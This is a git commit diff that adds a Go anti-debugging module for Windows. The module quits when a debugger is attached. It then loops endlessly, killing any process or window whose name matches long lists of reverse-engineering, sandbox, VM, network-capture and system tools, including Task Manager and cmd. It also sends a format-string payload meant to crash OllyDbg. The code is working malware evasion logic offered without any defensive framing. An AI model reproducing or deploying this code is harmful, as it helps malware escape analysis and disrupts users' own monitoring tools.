initial commit

2026-08-27 11:00:27 -06:00
commit 719b963520
94 changed files with 4747 additions and 0 deletions
@@ -0,0 +1,148 @@
+package antidebug
+
+import (
+	"fmt"
+	"os"
+	"strings"
+	"syscall"
+	"unsafe"
+
+	"github.com/shirou/gopsutil/v3/process"
+)
+
+var (
+	user32DLL       = syscall.NewLazyDLL("user32.dll")
+	enumWindowsProc = user32DLL.NewProc("EnumWindows")
+	getWindowText   = user32DLL.NewProc("GetWindowTextA")
+	getWindowThread = user32DLL.NewProc("GetWindowThreadProcessId")
+
+	kernel32DLL          = syscall.NewLazyDLL("kernel32.dll")
+	isDebugger           = kernel32DLL.NewProc("IsDebuggerPresent")
+	debugString          = kernel32DLL.NewProc("OutputDebugStringA")
+	procOpenProcess      = kernel32DLL.NewProc("OpenProcess")
+	procTerminateProcess = kernel32DLL.NewProc("TerminateProcess")
+)
+
+func terminateProcess(pid uint32) error {
+	handle, _, _ := procOpenProcess.Call(syscall.PROCESS_TERMINATE, 0, uintptr(pid))
+	if handle == 0 {
+		return fmt.Errorf("failed to open process")
+	}
+	defer syscall.CloseHandle(syscall.Handle(handle))
+
+	ret, _, _ := procTerminateProcess.Call(handle, 0)
+	if ret == 0 {
+		return fmt.Errorf("failed to terminate process")
+	}
+	return nil
+}
+
+func KillProcessesByNames(blacklist []string) error {
+	processes, _ := process.Processes()
+
+	for _, p := range processes {
+		processName, _ := p.Name()
+
+		if contains(blacklist, processName) {
+			terminateProcess(uint32(p.Pid))
+		}
+	}
+
+	return nil
+}
+
+func getCallback(blacklist []string) uintptr {
+	return syscall.NewCallback(func(hwnd syscall.Handle, lparam uintptr) uintptr {
+		var title [256]byte
+
+		getWindowText.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&title)), uintptr(len(title)))
+
+		titleStr := string(title[:])
+
+		if titleStr == "" {
+			return 1
+		}
+
+		if contains(blacklist, titleStr) {
+			var pid uint32
+			getWindowThread.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&pid)))
+
+			terminateProcess(pid)
+
+		}
+		return 1
+	})
+}
+
+func KillProcessesByWindowsNames(callback uintptr) error {
+	enumWindowsProc.Call(callback, 0)
+	return nil
+}
+
+func IsDebuggerPresent() bool {
+	flag, _, _ := isDebugger.Call()
+	return flag != 0
+}
+
+func outputDebugString(message string) {
+	debugString.Call(uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(message))))
+}
+
+func OutputDebugStringAntiDebug() {
+	outputDebugString("hm")
+}
+
+func OutputDebugStringOllyDbgExploit() {
+	outputDebugString("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
+}
+
+func contains(slice []string, processName string) bool {
+	processName = strings.ToLower(processName)
+
+	for _, s := range slice {
+		if strings.Contains(processName, s) {
+			return true
+		}
+	}
+
+	return false
+}
+
+func Run() {
+	if IsDebuggerPresent() {
+		os.Exit(0)
+	}
+
+	blacklist := []string{
+		"ksdumperclient", "regedit", "ida64", "vmtoolsd", "vgauthservice",
+		"wireshark", "x32dbg", "ollydbg", "vboxtray", "df5serv", "vmsrvc",
+		"vmusrvc", "taskmgr", "vmwaretray", "xenservice", "pestudio", "vmwareservice",
+		"qemu-ga", "prl_cc", "prl_tools", "cmd",
+		"joeboxcontrol", "vmacthlp", "httpdebuggerui", "processhacker",
+		"joeboxserver", "fakenet", "ksdumper", "vmwareuser", "fiddler",
+		"x96dbg", "dumpcap", "vboxservice",
+	}
+
+	callback := getCallback([]string{
+		"simpleassemblyexplorer", "dojandqwklndoqwd", "procmon64", "process hacker",
+		"sharpod", "http debugger", "dbgclr", "x32dbg", "sniffer", "petools",
+		"simpleassembly", "ksdumper", "dnspy", "x96dbg", "de4dot", "exeinfope",
+		"windbg", "mdb", "harmony", "systemexplorerservice", "megadumper",
+		"system explorer", "mdbg", "kdb", "charles", "stringdecryptor", "phantom",
+		"debugger", "extremedumper", "pc-ret", "folderchangesview", "james",
+		"process monitor", "protection_id", "de4dotmodded", "x32_dbg", "pizza", "fiddler",
+		"x64_dbg", "httpanalyzer", "strongod", "wireshark", "gdb", "graywolf", "x64dbg",
+		"ksdumper v1.1 - by equifox", "wpe pro", "ilspy", "dbx", "ollydbg", "x64netdumper",
+		"scyllahide", "kgdb", "systemexplorer", "proxifier", "debug", "httpdebug",
+		"httpdebugger", "0harmony", "mitmproxy", "ida -",
+		"codecracker", "ghidra", "titanhide", "hxd", "reversal",
+	})
+
+	for {
+		OutputDebugStringAntiDebug()
+		OutputDebugStringOllyDbgExploit()
+
+		KillProcessesByNames(blacklist)
+		KillProcessesByWindowsNames(callback)
+	}
+}